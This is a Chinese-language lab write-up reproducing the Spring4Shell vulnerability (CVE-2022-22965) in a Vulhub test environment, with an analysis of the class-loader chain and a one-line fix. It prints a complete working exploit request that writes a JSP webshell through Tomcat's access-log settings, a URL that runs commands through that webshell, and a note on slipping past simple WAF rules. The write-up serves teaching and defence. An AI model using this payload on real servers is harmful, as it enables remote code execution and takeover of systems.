本文档仅用于技术交流和教育目的。文中描述的漏洞复现过程应在授权的、隔离的测试环境中进行,例如 Vulhub。严禁利用本文信息对任何未授权的系统进行攻击,一切后果由操作者自行承担。

  1. 漏洞简介

CVE-ID: CVE-2022-22965,通常被称为 "Spring4Shell"。
漏洞类型: 远程代码执行 (RCE)
影响范围:
JDK 9 及更高版本
Spring Framework 5.3.0 - 5.3.17, 5.2.0 - 5.2.19
应用程序以 WAR 包形式部署在 Apache Tomcat 服务器上
漏洞成因: Spring Framework 在处理请求参数绑定到普通 Java 对象 (POJO) 时,存在一个可以绕过防护机制的入口。攻击者可以构造恶意请求,通过层层嵌套的对象链,最终访问并修改 Tomcat 的 AccessLogValve 配置,从而在服务器上写入一个恶意的 JSP Webshell 文件,导致远程代码执行。

  1. 环境准备

我们使用 Vulhub 作为漏洞复现环境,它提供了一个预先配置好的 Docker 容器,方便我们快速搭建测试环境。
docker-compose up -d 启动
2025-09-04T00:34:26.png

  1. 漏洞复现步骤

发送恶意 Payload,写入 Webshell
攻击的核心是发送一个精心构造的 HTTP GET 请求。这个请求利用了 Spring 的数据绑定机制来修改 Tomcat 的日志配置,将一段 JSP Webshell 代码作为"日志"写入到网站根目录。

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.137.140:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)     AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71         Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

2025-09-04T00:37:19.png

上一步操作成功后,一个名为 tomcatwar.jsp 的 Webshell 文件会被创建在 Tomcat 的 webapps/ROOT/ 目录下。现在我们可以通过访问这个文件来执行任意系统命令。

http://192.168.137.140:8080/tomcatwar.jsp?pwd=j&cmd=id

2025-09-04T00:37:28.png
成功

  1. 漏洞原理深度解析

核心:数据绑定与类加载器链
Spring MVC 数据绑定: 当一个 HTTP 请求到达时,Spring MVC 会尝试将请求中的参数(如 ?name=value)自动绑定到控制器方法的参数对象(POJO)的属性上。
class 属性的暴露: 攻击者利用了 someObject.getClass() 这个 Java 基础方法。Spring 的数据绑定机制允许通过 class.xxx 的形式访问到 Class 对象的属性。
JDK9+ 的 Module: 在 JDK 9 及以上版本中,Class 对象有一个 getModule() 方法,可以获取到模块信息。这为攻击者提供了新的攻击路径。
攻击链 (The Chain): 整个攻击链条如下:
class: 获取到当前对象的 Class 实例。
module: 通过 getModule() 获取 Module 实例。
classLoader: 获取类加载器。
resources: 获取类加载器管理的资源。
context: 访问到 Tomcat 的 WebappLoader 上下文。
parent: 进一步访问到 StandardContext。
pipeline: 获取 StandardPipeline。
first: 获取 Pipeline 中的第一个阀门(Valve),在默认配置下,它就是 AccessLogValve。
通过这个链条,攻击者成功地从一个普通的请求参数,一路访问到了 Tomcat 服务器的核心配置对象 AccessLogValve。
利用:修改 Tomcat 日志配置写入文件
AccessLogValve 是 Tomcat 用于记录访问日志的组件。攻击者通过数据绑定,修改了它的几个关键属性:
pattern: 日志记录的格式。攻击者将 JSP Webshell 代码注入此处。
directory: 日志文件的存储目录。被修改为 webapps/ROOT,即网站根目录。
prefix: 日志文件的前缀。被修改为 tomcatwar。
suffix: 日志文件的后缀。被修改为 .jsp,使其能被当做动态脚本执行。
fileDateFormat: 文件名中的日期格式。被设置为空,确保文件名固定为 tomcatwar.jsp。
Payload 构造的精妙之处
JSP 代码拆分: Webshell 代码 <% ...Runtime... %> 被拆分成了三部分。
利用日志 pattern 语法: Tomcat 的 AccessLogValve 支持从请求头中获取值并写入日志,语法是 %{header-name}i。
代码重组:
%{c2}i 从请求头 c2 中获取 <%。
%{c1}i 从请求头 c1 中获取 Runtime。
%{suffix}i 从请求头 suffix 中获取 %>//。
这三部分与 pattern 参数中固定的代码片段组合在一起,在服务器端重新构造成一个完整的 JSP Webshell。这种方式可以绕过一些基于 URL 的简单 WAF 规则检测。

5.修复
升级 Spring Framework